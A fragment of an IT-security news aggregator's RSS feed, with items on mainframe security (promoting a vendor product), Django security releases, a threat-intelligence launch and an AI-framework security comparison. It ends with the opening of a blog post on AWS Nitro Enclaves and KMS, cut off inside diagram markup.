</div><p><a href="https://news.slashdot.org/story/26/08/05/164212/cloudflare-announces-open-source-cloudflare-os-as-ai-operating-system?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Why mainframe security requires continuous verification]]></title>
<description><![CDATA[The mainframe remains the system of record for many of the world’s largest organizations and some of their most critical data. As of 2025, 71% of Fortune 500 companies still use mainframes, and nearly 97% of banks worldwide rely on IBM mainframe products.



Yet many security programs continue to...]]></description>
<link>https://tsecurity.de/de/3706417/it-nachrichten/why-mainframe-security-requires-continuous-verification/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3706417/it-nachrichten/why-mainframe-security-requires-continuous-verification/</guid>
<pubDate>Wed, 05 Aug 2026 19:31:18 +0200</pubDate>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">The mainframe remains the system of record for many of the world’s largest organizations and some of their most critical data. As of 2025, <a href="https://thefinancialbrand.com/news/banking-technology/banking-legacy-systems-are-under-siege-and-the-threat-is-surprisingly-human-191575" target="_blank" rel="noreferrer noopener">71% of Fortune 500 companies still use mainframes, and nearly 97% of banks worldwide rely on IBM mainframe products.</a></p>



<p class="wp-block-paragraph">Yet many security programs continue to treat the mainframe differently from the rest of the enterprise. Many organizations still assume the mainframe is inherently secure.</p>



<p class="wp-block-paragraph">Mainframes are designed with strong security controls. But strong controls alone are not enough. Like any critical enterprise system, the mainframe requires continuous verification to ensure those controls are working as intended.</p>



<p class="wp-block-paragraph">Risk can exist anywhere. An overlooked configuration in a z/OS environment can create opportunities for unauthorized access to sensitive systems and data. As the time between vulnerability discovery and exploitation continues to shrink, organizations need greater visibility into risk across the enterprise—including the mainframe.</p>



<p class="wp-block-paragraph"><strong>Myth #1: Mainframes are unbreachable</strong> </p>



<p class="wp-block-paragraph">Can mainframes be breached? Although mainframes are designed with robust security features, no technology platform is immune to risk. The reality is simple: attackers go where the valuable data is stored.</p>



<p class="wp-block-paragraph">The mainframe isn’t isolated from the rest of the enterprise. Mainframes routinely process millions of transactions per day, and high-end systems can process over a million transactions per second in certain workloads. Mainframes are estimated to handle a substantial share of the world’s transactional workloads and credit card processing.</p>



<p class="wp-block-paragraph">As organizations modernize and connect systems across environments, visibility into potential exposure becomes just as important on z/OS as it is everywhere else. Attackers follow opportunity. Wherever valuable data and business-critical assets reside, flaws will attract attention. As organizations adopt hybrid architectures, the number of interconnected systems continues to grow, making identity governance and access assurance increasingly important.</p>



<p class="wp-block-paragraph">The solution is to treat the mainframe as part of the enterprise attack surface and manage risk there the same way you do everywhere else. Mainframe security requires the same continuous visibility organizations expect across the rest of the enterprise.</p>



<p class="wp-block-paragraph"><strong>Myth #2: Specialized systems are too complex for attackers</strong></p>



<p class="wp-block-paragraph">How is AI changing vulnerability discovery? In the past, surfacing exposures on the mainframe required deep expertise that relatively few people had. That complexity made these environments harder to analyze.</p>



<p class="wp-block-paragraph">Recent attention around <a href="https://www.scientificamerican.com/article/what-is-mythos-and-why-are-experts-worried-about-anthropics-ai-model/" target="_blank" rel="noreferrer noopener">Mythos</a>, Anthropic’s highly restricted security research model, has sparked debate about AI’s role in cybersecurity. If security flaws become dramatically easier to find, organizations may have less time to identify and remediate weaknesses before others discover them.</p>



<p class="wp-block-paragraph">The important point isn’t Mythos itself. It’s that identifying exploitable weaknesses is becoming faster, cheaper, and easier.</p>



<p class="wp-block-paragraph">Organizations can no longer assume that complexity will keep attackers at bay. Mainframe security strategies should account for a future in which gaps are discovered faster than ever before.</p>



<p class="wp-block-paragraph">That requires greater visibility into the z/OS environment and the risks it may pose. Continuous analysis helps organizations uncover potential weaknesses early, and the sooner security teams can detect security gaps, the more time they have to fix them.</p>



<p class="wp-block-paragraph"><strong>Myth #3: Annual security assessments are sufficient</strong></p>



<p class="wp-block-paragraph">Why is continuous vulnerability analysis important for mainframe security? Many organizations still rely on periodic configuration assessments, even though today’s threats move much faster than they did when those processes were created. Today’s mainframe environments are constantly evolving, and new weaknesses can emerge between checkpoints long before the next scheduled assessment.</p>



<p class="wp-block-paragraph">Security teams need ongoing visibility into risk, not occasional snapshots. That’s why continuous vulnerability analysis has become a critical component of modern mainframe management, helping teams identify and remediate weaknesses before they escalate into incidents.</p>



<p class="wp-block-paragraph">Organizations have long benefited from the security architecture and integrity of mainframe environments. As vulnerability discovery becomes more efficient, maintaining visibility into those environments becomes increasingly important. Rocket Mainframe Security solutions help organizations build continuous visibility across their z/OS environments and act on it early.</p>



<p class="wp-block-paragraph">For organizations seeking greater visibility across their z/OS environment, <a href="https://www.rocketsoftware.com/en-us/products/z-assure-vulnerability-analysis-program" target="_blank" rel="noreferrer noopener">Rocket z/Assure Vulnerability Analysis Program (VAP)</a> helps identify weaknesses within authorized programs and supports ongoing remediation efforts. VAP helps security teams identify security gaps in software earlier, reducing risk before they affect critical systems.</p>



<p class="wp-block-paragraph"><strong>What continuous mainframe security requires</strong></p>



<ul class="wp-block-list">
<li>Visibility into sensitivities across the z/OS environment</li>



<li>Ongoing validation of security controls</li>



<li>Integration with enterprise risk management processes</li>



<li>Faster identification and remediation of emerging weaknesses</li>



<li>Continuous assessment rather than periodic review</li>
</ul>



<p class="wp-block-paragraph"><strong>The future of mainframe security requires continuous vulnerability analysis</strong></p>



<p class="wp-block-paragraph">Security weaknesses can exist anywhere in the enterprise, and they are being discovered faster than ever before. Detecting risk is getting easier, and organizations should plan accordingly.</p>



<p class="wp-block-paragraph">This is where continuous vulnerability analysis becomes essential. Point-in-time assessments provide a snapshot of risk, while continuous risk analysis helps organizations maintain visibility as systems change.</p>



<p class="wp-block-paragraph">The broader lesson from advanced AI models like Mythos is that vulnerability discovery is accelerating. For organizations that depend on the mainframe, visibility becomes more important as the time between discovery and exploitation shrinks. Organizations that adopt continuous analysis across critical environments will be better positioned to identify and address risk before attackers do.</p>



<p class="wp-block-paragraph"><a href="https://www.rocketsoftware.com/en-us/products/z-assure-vulnerability-analysis-program" target="_blank" rel="noreferrer noopener">Learn more here.</a></p>



<p class="wp-block-paragraph"></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Laredo, Texas, Moves to Set Permanent Data Center Standards]]></title>
<description><![CDATA[Leaders have opted against a moratorium on data centers, instead directing staff to develop a regulatory framework after learning the city's existing code prohibits uses that are not specifically permitted.]]></description>
<link>https://tsecurity.de/de/3706304/ai-nachrichten/laredo-texas-moves-to-set-permanent-data-center-standards/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3706304/ai-nachrichten/laredo-texas-moves-to-set-permanent-data-center-standards/</guid>
<pubDate>Wed, 05 Aug 2026 17:52:35 +0200</pubDate>
<content:encoded><![CDATA[Leaders have opted against a moratorium on data centers, instead directing staff to develop a regulatory framework after learning the city's existing code prohibits uses that are not specifically permitted.]]></content:encoded>
</item>
<item>
<title><![CDATA[AI Orchestration Framework Security Comparison]]></title>
<description><![CDATA[A new security evaluation of AI orchestration frameworks has revealed significant differences in how easily AI agents can be compromised based solely on…
Read more →
The post AI Orchestration Framework Security Comparison appeared first on IT Security News.]]></description>
<link>https://tsecurity.de/de/3706024/it-security-nachrichten/ai-orchestration-framework-security-comparison/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3706024/it-security-nachrichten/ai-orchestration-framework-security-comparison/</guid>
<pubDate>Wed, 05 Aug 2026 16:05:34 +0200</pubDate>
<content:encoded><![CDATA[<p>A new security evaluation of AI orchestration frameworks has revealed significant differences in how easily AI agents can be compromised based solely on…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/ai-orchestration-framework-security-comparison/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/ai-orchestration-framework-security-comparison/">AI Orchestration Framework Security Comparison</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Django Urges Immediate Upgrade to 6.0.8 and 5.2.17 After Four Security Fixes]]></title>
<description><![CDATA[The Django development team has released Django 6.0.8 and Django 5.2.17 to fix four security vulnerabilities affecting supported versions of the Python web framework. Developers and administrators are urged to upgrade as soon as possible, especially where Django GIS features or the built-in admin...]]></description>
<link>https://tsecurity.de/de/3705982/it-security-nachrichten/django-urges-immediate-upgrade-to-608-and-5217-after-four-security-fixes/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3705982/it-security-nachrichten/django-urges-immediate-upgrade-to-608-and-5217-after-four-security-fixes/</guid>
<pubDate>Wed, 05 Aug 2026 15:34:58 +0200</pubDate>
<content:encoded><![CDATA[<p>The Django development team has released Django 6.0.8 and Django 5.2.17 to fix four security vulnerabilities affecting supported versions of the Python web framework. Developers and administrators are urged to upgrade as soon as possible, especially where Django GIS features or the built-in admin interface are exposed to staff users. The most severe issue, tracked […]</p>
<p>The post <a href="https://cybersecuritynews.com/django-four-security-fixes/">Django Urges Immediate Upgrade to 6.0.8 and 5.2.17 After Four Security Fixes</a> appeared first on <a href="https://cybersecuritynews.com/">Cyber Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[KI-Vorreiter schlagen SAFE-Richtlinien für Transparenz in der Cybersicherheit vor]]></title>
<description><![CDATA[Open Secure AI Alliance stellt weitere Tools für KI-Cybersicherheit bereit. Das SAFE-Framework ergänzt die Technologiebeiträge, die Mitglieder der ...]]></description>
<link>https://tsecurity.de/de/3705937/it-security-nachrichten/ki-vorreiter-schlagen-safe-richtlinien-fuer-transparenz-in-der-cybersicherheit-vor/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3705937/it-security-nachrichten/ki-vorreiter-schlagen-safe-richtlinien-fuer-transparenz-in-der-cybersicherheit-vor/</guid>
<pubDate>Wed, 05 Aug 2026 15:17:40 +0200</pubDate>
<content:encoded><![CDATA[Open Secure AI Alliance stellt weitere Tools für KI-<b>Cybersicherheit</b> bereit. Das SAFE-Framework ergänzt die Technologiebeiträge, die Mitglieder der ...]]></content:encoded>
</item>
<item>
<title><![CDATA[Lumu launches live threat intelligence platform for real-time cyber defence]]></title>
<description><![CDATA[Lumu has announced the release of Lumu Threat Observatory as part of Maltiverse, its threat intelligence solution. Lumu Threat Observatory is Maltiverse’s live, personalized threat-intelligence experience, providing organizations with a complete, live view of the active threats targeting their sp...]]></description>
<link>https://tsecurity.de/de/3705852/it-security-nachrichten/lumu-launches-live-threat-intelligence-platform-for-real-time-cyber-defence/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3705852/it-security-nachrichten/lumu-launches-live-threat-intelligence-platform-for-real-time-cyber-defence/</guid>
<pubDate>Wed, 05 Aug 2026 14:49:11 +0200</pubDate>
<content:encoded><![CDATA[<p>Lumu has announced the release of Lumu Threat Observatory as part of Maltiverse, its threat intelligence solution. Lumu Threat Observatory is Maltiverse’s live, personalized threat-intelligence experience, providing organizations with a complete, live view of the active threats targeting their specific sector, helping them spot malicious adversaries early, prioritize vulnerabilities, and automatically block them. While threat intelligence is now a foundational piece of an organization’s security strategy, most IT and security teams have limited visibility into … <a href="https://www.helpnetsecurity.com/2026/08/05/lumu-launches-live-threat-intelligence-platform-for-real-time-cyber-defence/" rel="nofollow">More <span class="meta-nav">→</span></a></p>
<p>The post <a href="https://www.helpnetsecurity.com/2026/08/05/lumu-launches-live-threat-intelligence-platform-for-real-time-cyber-defence/">Lumu launches live threat intelligence platform for real-time cyber defence</a> appeared first on <a href="https://www.helpnetsecurity.com/">Help Net Security</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[A few notes on AWS Nitro Enclaves: KMS integration]]></title>
<description><![CDATA[Nitro Enclaves and Key Management
Service (KMS) feel like a
natural fit: since the KMS can verify attestation documents generated by the enclaves, developers
can offload key management tasks from their applications to the AWS-managed service. But integrating
an external service with your trusted ...]]></description>
<link>https://tsecurity.de/de/3705684/it-security-nachrichten/a-few-notes-on-aws-nitro-enclaves-kms-integration/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3705684/it-security-nachrichten/a-few-notes-on-aws-nitro-enclaves-kms-integration/</guid>
<pubDate>Wed, 05 Aug 2026 13:57:09 +0200</pubDate>
<content:encoded><![CDATA[<p>Nitro Enclaves and <a href="https://blog.trailofbits.com/2024/02/14/cloud-cryptography-demystified-amazon-web-services/">Key Management
Service</a> (KMS) feel like a
natural fit: since the KMS can verify attestation documents generated by the enclaves, developers
can offload key management tasks from their applications to the AWS-managed service. But integrating
an external service with your trusted enclaves comes with new threats, even if that service comes
from the same provider.</p>
<p>In this blog post—the third in our series on Nitro Enclaves, following our posts on <a href="https://blog.trailofbits.com/2024/09/24/notes-on-aws-nitro-enclaves-attack-surface/">attack
surface</a> and <a href="https://blog.trailofbits.com/2024/02/16/a-few-notes-on-aws-nitro-enclaves-images-and-attestation/">images and
attestation</a>—we catalog
passive and active attack classes against the enclave-KMS communication channel, and cover the
operational risks that persist even when the cryptography is correct. We also disclose
vulnerabilities in AWS Nitro Enclaves SDK for C and recommend safer alternatives.</p>
<h2>Intro to KMS</h2>
<p>The KMS is a set of Hardware Security Modules (HSM) with public API integrated to the broader AWS
ecosystem. There are three main key types supported by KMS that devs need to care about:</p>
<ul>
<li>Customer-managed keys (<a href="https://docs.aws.amazon.com/kms/latest/cryptographic-details/basic-concepts.html">Customer master
keys</a>, CMK)</li>
<li>Data keys (DK, symmetric)</li>
<li>Data key pairs (asymmetric)</li>
</ul>
<p>CMKs never leave KMS. You request KMS to perform cryptographic operations (like encryption or
signing) for you.</p>
<p>Data keys and key pairs are generated in KMS, are <em>not</em> stored in KMS, and are intended for
programmatic uses.</p>
<p>For symmetric keys, the KMS gives you a plaintext key and the same key encrypted to CMK. Your
application performs encryptions, removes the plaintext key, and stores the key encrypted to a CMK
along the ciphertexts; this pattern is called <a href="https://docs.aws.amazon.com/kms/latest/developerguide/kms-cryptography.html#enveloping">envelope
encryption</a>.</p>
<p>For asymmetric keys, the KMS gives you a plaintext key pair and the private key encrypted to CMK.
Your application creates signatures or encrypts data, deletes the private key, and keeps the public
key and encrypted private key (along with signatures/ciphertexts).</p>
<p>Both types of data keys can be used with <code>Decrypt</code> operation to get plaintext keys again.</p>

<figure>
<div class="goat svg-container ">
 
 <svg xmlns="http://www.w3.org/2000/svg" font-family="Menlo,Lucida Console,monospace" viewbox="0 0 512 633">
 <g transform="translate(8,16)">
<path d="M 240,48 L 488,48" fill="none" stroke="currentColor"></path>
<path d="M 248,96 L 256,96" fill="none" stroke="currentColor"></path>
<path d="M 272,96 L 280,96" fill="none" stroke="currentColor"></path>
<path d="M 288,96 L 296,96" fill="none" stroke="currentColor"></path>
<path d="M 304,96 L 312,96" fill="none" stroke="currentColor"></path>
<path d="M 320,96 L 328,96" fill="none" stroke="currentColor"></path>
<path d="M 336,96 L 344,96" fill="none" stroke="currentColor"></path>
<path d="M 352,96 L 360,96" fill="none" stroke="currentColor"></path>
<path d="M 368,96 L 376,96" fill="none" stroke="currentColor"></path>
<path d="M 384,96 L 392,96" fill="none" stroke="currentColor"></path>
<path d="M 400,96 L 408,96" fill="none" stroke="currentColor"></path>
<path d="M 416,96 L 424,96" fill="none" stroke="currentColor"></path>
<path d="M 432,96 L 440,96" fill="none" stroke="currentColor"></path>
<path d="M 448,96 L 456,96" fill="none" stroke="currentColor"></path>
<path d="M 464,96 L 472,96" fill="none" stroke="currentColor"></path>
<path d="M 480,96 L 488,96" fill="none" stroke="currentColor"></path>
<path d="M 240,128 L 264,128" fill="none" stroke="currentColor"></path>
<path d="M 248,160 L 264,160" fill="none" stroke="currentColor"></path>
<path d="M 40,208 L 240,208" fill="none" stroke="currentColor"></path>
<path d="M 240,256 L 488,256" fill="none" stroke="currentColor"></path>
<path d="M 248,320 L 256,320" fill="none" stroke="currentColor"></path>
<path d="M 272,320 L 280,320" fill="none" stroke="currentColor"></path>
<path d="M 288,320 L 296,320" fill="none" stroke="currentColor"></path>
<path d="M 304,320 L 312,320" fill="none" stroke="currentColor"></path>
<path d="M 320,320 L 328,320" fill="none" stroke="currentColor"></path>
<path d="M 336,320 L 344,320" fill="none" stroke="currentColor"></path>
<path d="M 352,320 L 360,320" fill="none" stroke="currentColor"></path>
<path d="M 368,320 L 376,320" fill="none" stroke="currentColor"></path>
<path d="M 384,320 L 392,320" fill="none" stroke="currentColor"></path>
<path d="M 400,320 L 408,320" fill="none" stroke="currentColor"></path>
<path d="M 416,320 L 424,320" fill="none" stroke="currentColor"></path>
<path d="M 432,320 L 440,320" fill="none" stroke="currentColor"></path>
<path d="M 448,320 L 456,320" fill="none" stroke="currentColor"></path>
<path d="M 464,320 L 472,320" fill="none" stroke="currentColor"></path>
<path d="M 480,320 L 488,320" fill="none" stroke="currentColor"></path>
<path d="M 240,352 L 264,352" fill="none" stroke="currentColor"></path>
<path d="M 248,400 L 264,400" fill="none" stroke="currentColor"></path>
<path d="M 40,448 L 240,448" fill="none" stroke="currentColor"></path>
<path d="M 40,496 L 48,496" fill="none" stroke="currentColor"></path>
<path d="M 56,496 L 64,496" fill="none" stroke="currentColor"></path>
<path d="M 72,496 L 80,496" fill="none" stroke="currentColor"></path>
<path d="M 88,496 L 96,496" fill="none" stroke="currentColor"></path>
<path d="M 104,496 L 112,496" fill="none" stroke="currentColor"></path>
<path d="M 120,496 L 128,496" fill="none" stroke="currentColor"></path>
<path d="M 136,496 L 144,496" fill="none" stroke="currentColor"></path>
<path d="M 152,496 L 160,496" fill="none" stroke="currentColor"></path>
<path d="M 168,496 L 176,496" fill="none" stroke="currentColor"></path>
<path d="M 184,496 L 192,496" fill="none" stroke="currentColor"></path>
<path d="M 200,496 L 208,496" fill="none" stroke="currentColor"></path>
<path d="M 216,496 L 232,496" fill="none" stroke="currentColor"></path>
<path d="M 240,544 L 488,544" fill="none" stroke="currentColor"></path>
<path d="M 248,592 L 256,592" fill="none" stroke="currentColor"></path>
<path d="M 272,592 L 280,592" fill="none" stroke="currentColor"></path>
<path d="M 288,592 L 296,592" fill="none" stroke="currentColor"></path>
<path d="M 304,592 L 312,592" fill="none" stroke="currentColor"></path>
<path d="M 320,592 L 328,592" fill="none" stroke="currentColor"></path>
<path d="M 336,592 L 344,592" fill="none" stroke="currentColor"></path>
<path d="M 352,592 L 360,592" fill="none" stroke="currentColor"></path>
<path d="M 368,592 L 376,592" fill="none" stroke="currentColor"></path>
<path d="M 384,592 L 392,592" fill="none" stroke="currentColor"></path>
<path d="M 400,592 L 408,592" fill="none" stroke="currentColor"></path>
<path d="M 416,592 L 424,592" fill="none" stroke="currentColor"></path>
<path d="M 432,592 L 440,592" fill="none" stroke="currentColor"></path>
<path d="M 448,592 L 456,592" fill="none" stroke="currentColor"></path>
<path d="M 464,592 L 472,592" fill="none" stroke="currentColor"></path>
<path d="M 480,592 L 488,592" fill="none" stroke="currentColor"></path>
<path d="M 32,16 L 32,608" fill="none" stroke="currentColor"></path>
<path d="M 240,16 L 240,48" fill="none" stroke="currentColor"></path>
<path d="M 240,48 L 240,128" fill="none" stroke="currentColor"></path>
<path d="M 240,128 L 240,208" fill="none" stroke="currentColor"></path>
<path d="M 240,208 L 240,256" fill="none" stroke="currentColor"></path>
<path d="M 240,256 L 240,352" fill="none" stroke="currentColor"></path>
<path d="M 240,352 L 240,448" fill="none" stroke="currentColor"></path>
<path d="M 240,448 L 240,544" fill="none" stroke="currentColor"></path>
<path d="M 240,544 L 240,608" fill="none" stroke="currentColor"></path>
<path d="M 264,128 L 264,160" fill="none" stroke="currentColor"></path>
<path d="M 264,352 L 264,400" fill="none" stroke="currentColor"></path>
<path d="M 496,16 L 496,608" fill="none" stroke="currentColor"></path>
<polygon points="48.000000,208.000000 36.000000,202.399994 36.000000,213.600006" fill="currentColor" transform="rotate(180.000000, 40.000000, 208.000000)"></polygon>
<polygon points="48.000000,448.000000 36.000000,442.399994 36.000000,453.600006" fill="currentColor" transform="rotate(180.000000, 40.000000, 448.000000)"></polygon>
<polygon points="240.000000,496.000000 228.000000,490.399994 228.000000,501.600006" fill="currentColor" transform="rotate(0.000000, 232.000000, 496.000000)"></polygon>
<polygon points="256.000000,96.000000 244.000000,90.400002 244.000000,101.599998" fill="currentColor" transform="rotate(180.000000, 248.000000, 96.000000)"></polygon>
<polygon points="256.000000,160.000000 244.000000,154.399994 244.000000,165.600006" fill="currentColor" transform="rotate(180.000000, 248.000000, 160.000000)"></polygon>
<polygon points="256.000000,320.000000 244.000000,314.399994 244.000000,325.600006" fill="currentColor" transform="rotate(180.000000, 248.000000, 320.000000)"></polygon>
<polygon points="256.000000,400.000000 244.000000,394.399994 244.000000,405.600006" fill="currentColor" transform="rotate(180.000000, 248.000000, 400.000000)"></polygon>
<polygon points="256.000000,592.000000 244.000000,586.400024 244.000000,597.599976" fill="currentColor" transform="rotate(180.000000, 248.000000, 592.000000)"></polygon>
<polygon points="496.000000,48.000000 484.000000,42.400002 484.000000,53.599998" fill="currentColor" transform="rotate(0.000000, 488.000000, 48.000000)"></polygon>
<polygon points="496.000000,256.000000 484.000000,250.399994 484.000000,261.600006" fill="currentColor" transform="rotate(0.000000, 488.000000, 256.000000)"></polygon>
<polygon points="496.000000,544.000000 484.000000,538.400024 484.000000,549.599976" fill="currentColor" transform="rotate(0.000000, 488.000000, 544.000000)"></polygon>
<text text-anchor="middle" x="0" y="4" fill="currentColor">S</text>
<text text-anchor="middle" x="8" y="4" fill="currentColor">t</text>
<text text-anchor="middle" x="16" y="4" fill="currentColor">o</text>
<text text-anchor="middle" x="24" y="4" fill="currentColor">r</text>
<text text-anchor="middle" x="32" y="4" fill="currentColor">a</text>
<text text-anchor="middle" x="40" y="4" fill="currentColor">g</text>
<text text-anchor="middle" x="48" y="4" fill="currentColor">e</text>
<text text-anchor="middle" x="56" y="436" fill="currentColor">s</text>
<text text-anchor="middle" x="56" y="484" fill="currentColor">(</text>
<text text-anchor="middle" x="64" y="196" fill="currentColor">s</text>
<text text-anchor="middle" x="64" y="436" fill="currentColor">t</text>
<text text-anchor="middle" x="64" y="484" fill="currentColor">E</text>
<text text-anchor="middle" x="72" y="196" fill="currentColor">t</text>
<text text-anchor="middle" x="72" y="436" fill="currentColor">o</text>
<text text-anchor="middle" x="72" y="484" fill="currentColor">_</text>
<text text-anchor="middle" x="80" y="196" fill="currentColor">o</text>
<text text-anchor="middle" x="80" y="436" fill="currentColor">r</text>
<text text-anchor="middle" x="80" y="484" fill="currentColor">d</text>
<text text-anchor="middle" x="88" y="196" fill="currentColor">r</text>
<text text-anchor="middle" x="88" y="436" fill="currentColor">e</text>
<text text-anchor="middle" x="88" y="484" fill="currentColor">k</text>
<text text-anchor="middle" x="96" y="196" fill="currentColor">e</text>
<text text-anchor="middle" x="96" y="436" fill="currentColor">(</text>
<text text-anchor="middle" x="96" y="484" fill="currentColor">/</text>
<text text-anchor="middle" x="104" y="196" fill="currentColor">(</text>
<text text-anchor="middle" x="104" y="436" fill="currentColor">E</text>
<text text-anchor="middle" x="104" y="484" fill="currentColor">E</text>
<text text-anchor="middle" x="112" y="196" fill="currentColor">E</text>
<text text-anchor="middle" x="112" y="436" fill="currentColor">_</text>
<text text-anchor="middle" x="112" y="484" fill="currentColor">_</text>
<text text-anchor="middle" x="120" y="196" fill="currentColor">_</text>
<text text-anchor="middle" x="120" y="436" fill="currentColor">p</text>
<text text-anchor="middle" x="120" y="484" fill="currentColor">p</text>
<text text-anchor="middle" x="128" y="196" fill="currentColor">d</text>
<text text-anchor="middle" x="128" y="436" fill="currentColor">r</text>
<text text-anchor="middle" x="128" y="484" fill="currentColor">r</text>
<text text-anchor="middle" x="136" y="196" fill="currentColor">k</text>
<text text-anchor="middle" x="136" y="436" fill="currentColor">i</text>
<text text-anchor="middle" x="136" y="484" fill="currentColor">i</text>
<text text-anchor="middle" x="144" y="196" fill="currentColor">,</text>
<text text-anchor="middle" x="144" y="436" fill="currentColor">v</text>
<text text-anchor="middle" x="144" y="484" fill="currentColor">v</text>
<text text-anchor="middle" x="152" y="196" fill="currentColor">C</text>
<text text-anchor="middle" x="152" y="436" fill="currentColor">,</text>
<text text-anchor="middle" x="152" y="484" fill="currentColor">)</text>
<text text-anchor="middle" x="160" y="196" fill="currentColor">)</text>
<text text-anchor="middle" x="160" y="436" fill="currentColor">s</text>
<text text-anchor="middle" x="168" y="436" fill="currentColor">i</text>
<text text-anchor="middle" x="176" y="436" fill="currentColor">g</text>
<text text-anchor="middle" x="184" y="436" fill="currentColor">/</text>
<text text-anchor="middle" x="192" y="436" fill="currentColor">C</text>
<text text-anchor="middle" x="200" y="436" fill="currentColor">)</text>
<text text-anchor="middle" x="208" y="4" fill="currentColor">E</text>
<text text-anchor="middle" x="216" y="4" fill="currentColor">n</text>
<text text-anchor="middle" x="224" y="4" fill="currentColor">c</text>
<text text-anchor="middle" x="232" y="4" fill="currentColor">l</text>
<text text-anchor="middle" x="240" y="4" fill="currentColor">a</text>
<text text-anchor="middle" x="248" y="4" fill="currentColor">v</text>
<text text-anchor="middle" x="256" y="4" fill="currentColor">e</text>
<text text-anchor="middle" x="256" y="36" fill="currentColor">G</text>
<text text-anchor="middle" x="256" y="244" fill="currentColor">G</text>
<text text-anchor="middle" x="256" y="532" fill="currentColor">D</text>
<text text-anchor="middle" x="264" y="36" fill="currentColor">e</text>
<text text-anchor="middle" x="264" y="84" fill="currentColor">{</text>
<text text-anchor="middle" x="264" y="244" fill="currentColor">e</text>
<text text-anchor="middle" x="264" y="292" fill="currentColor">{</text>
<text text-anchor="middle" x="264" y="532" fill="currentColor">e</text>
<text text-anchor="middle" x="272" y="36" fill="currentColor">n</text>
<text text-anchor="middle" x="272" y="84" fill="currentColor">d</text>
<text text-anchor="middle" x="272" y="244" fill="currentColor">n</text>
<text text-anchor="middle" x="272" y="292" fill="currentColor">p</text>
<text text-anchor="middle" x="272" y="308" fill="currentColor">E</text>
<text text-anchor="middle" x="272" y="532" fill="currentColor">c</text>
<text text-anchor="middle" x="280" y="36" fill="currentColor">e</text>
<text text-anchor="middle" x="280" y="84" fill="currentColor">k</text>
<text text-anchor="middle" x="280" y="148" fill="currentColor">C</text>
<text text-anchor="middle" x="280" y="244" fill="currentColor">e</text>
<text text-anchor="middle" x="280" y="292" fill="currentColor">u</text>
<text text-anchor="middle" x="280" y="308" fill="currentColor">_</text>
<text text-anchor="middle" x="280" y="372" fill="currentColor">s</text>
<text text-anchor="middle" x="280" y="388" fill="currentColor">o</text>
<text text-anchor="middle" x="280" y="532" fill="currentColor">r</text>
<text text-anchor="middle" x="288" y="36" fill="currentColor">r</text>
<text text-anchor="middle" x="288" y="84" fill="currentColor">,</text>
<text text-anchor="middle" x="288" y="148" fill="currentColor">=</text>
<text text-anchor="middle" x="288" y="244" fill="currentColor">r</text>
<text text-anchor="middle" x="288" y="292" fill="currentColor">b</text>
<text text-anchor="middle" x="288" y="308" fill="currentColor">p</text>
<text text-anchor="middle" x="288" y="372" fill="currentColor">i</text>
<text text-anchor="middle" x="288" y="388" fill="currentColor">r</text>
<text text-anchor="middle" x="288" y="532" fill="currentColor">y</text>
<text text-anchor="middle" x="296" y="36" fill="currentColor">a</text>
<text text-anchor="middle" x="296" y="84" fill="currentColor">E</text>
<text text-anchor="middle" x="296" y="148" fill="currentColor">e</text>
<text text-anchor="middle" x="296" y="244" fill="currentColor">a</text>
<text text-anchor="middle" x="296" y="292" fill="currentColor">,</text>
<text text-anchor="middle" x="296" y="308" fill="currentColor">r</text>
<text text-anchor="middle" x="296" y="372" fill="currentColor">g</text>
<text text-anchor="middle" x="296" y="532" fill="currentColor">p</text>
<text text-anchor="middle" x="304" y="36" fill="currentColor">t</text>
<text text-anchor="middle" x="304" y="84" fill="currentColor">_</text>
<text text-anchor="middle" x="304" y="148" fill="currentColor">n</text>
<text text-anchor="middle" x="304" y="244" fill="currentColor">t</text>
<text text-anchor="middle" x="304" y="292" fill="currentColor">p</text>
<text text-anchor="middle" x="304" y="308" fill="currentColor">i</text>
<text text-anchor="middle" x="304" y="372" fill="currentColor">=</text>
<text text-anchor="middle" x="304" y="388" fill="currentColor">C</text>
<text text-anchor="middle" x="304" y="532" fill="currentColor">t</text>
<text text-anchor="middle" x="312" y="36" fill="currentColor">e</text>
<text text-anchor="middle" x="312" y="84" fill="currentColor">d</text>
<text text-anchor="middle" x="312" y="148" fill="currentColor">c</text>
<text text-anchor="middle" x="312" y="244" fill="currentColor">e</text>
<text text-anchor="middle" x="312" y="292" fill="currentColor">r</text>
<text text-anchor="middle" x="312" y="308" fill="currentColor">v</text>
<text text-anchor="middle" x="312" y="372" fill="currentColor">s</text>
<text text-anchor="middle" x="312" y="388" fill="currentColor">=</text>
<text text-anchor="middle" x="312" y="532" fill="currentColor">(</text>
<text text-anchor="middle" x="320" y="36" fill="currentColor">D</text>
<text text-anchor="middle" x="320" y="84" fill="currentColor">k</text>
<text text-anchor="middle" x="320" y="148" fill="currentColor">(</text>
<text text-anchor="middle" x="320" y="244" fill="currentColor">D</text>
<text text-anchor="middle" x="320" y="292" fill="currentColor">i</text>
<text text-anchor="middle" x="320" y="308" fill="currentColor">=</text>
<text text-anchor="middle" x="320" y="372" fill="currentColor">i</text>
<text text-anchor="middle" x="320" y="388" fill="currentColor">e</text>
<text text-anchor="middle" x="320" y="532" fill="currentColor">c</text>
<text text-anchor="middle" x="328" y="36" fill="currentColor">a</text>
<text text-anchor="middle" x="328" y="84" fill="currentColor">=</text>
<text text-anchor="middle" x="328" y="148" fill="currentColor">d</text>
<text text-anchor="middle" x="328" y="244" fill="currentColor">a</text>
<text text-anchor="middle" x="328" y="292" fill="currentColor">v</text>
